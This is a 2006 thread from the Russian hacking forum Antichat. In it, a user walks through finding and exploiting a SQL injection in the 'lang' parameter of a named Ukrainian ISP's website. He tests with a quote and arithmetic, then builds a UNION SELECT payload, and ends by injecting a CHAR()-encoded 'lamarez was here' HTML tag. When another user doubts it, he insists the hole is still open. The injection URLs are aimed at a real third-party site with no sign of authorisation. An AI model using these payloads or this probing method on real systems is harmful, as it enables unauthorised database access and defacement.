Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   гунька (https://forum.antichat.xyz/showthread.php?t=29609)

LAMAREZ 22.12.2006 02:18

гунька
 
Читал я как то тему на античате что то про провайдеры спорили... хеколи чото там...
тут заметил линк...
http://www.intercom.net.ua/index.php?lang=1&menu_id=14==>
==>http://www.intercom.net.ua/index.php?lang='1&menu_id=14
увидил нечисть, пустая страница, но варнингов небыло...
затем решил проверить http://www.intercom.net.ua/index.php?lang=2-1&menu_id=14
и о чудо!)))
я увидил то же что и по адресу http://www.intercom.net.ua/index.php?lang=1&menu_id=14
кароче
==>http://www.intercom.net.ua/index.php?lang=99999%20UNION%20SELECT%201,2/*&menu_id=14
потом собрал char на http://xtoolz.ru/files/char.php
и получил
http://www.intercom.net.ua/index.php?lang=99999%20UNION%20SELECT%201,CHAR(32, 60,102,111,110,116,32,99,111,108,111,114,61,34,114 ,101,100,34,32,115,105,122,101,61,34,49,49,34,62,1 08,97,109,97,114,101,122,32,119,97,115,32,104,101, 114,101,32,61,41,41,60,47,102,111,110,116,62)/*&menu_id=14

Denny 22.12.2006 02:21

как вижу багу жуе прикрыли

LAMAREZ 22.12.2006 02:57

нет, багу не прикрыли, я только что обнаружел ведь...
ты пробелы поубирай с урла...
я ж написал, варнинг не светится...


Время: 19:34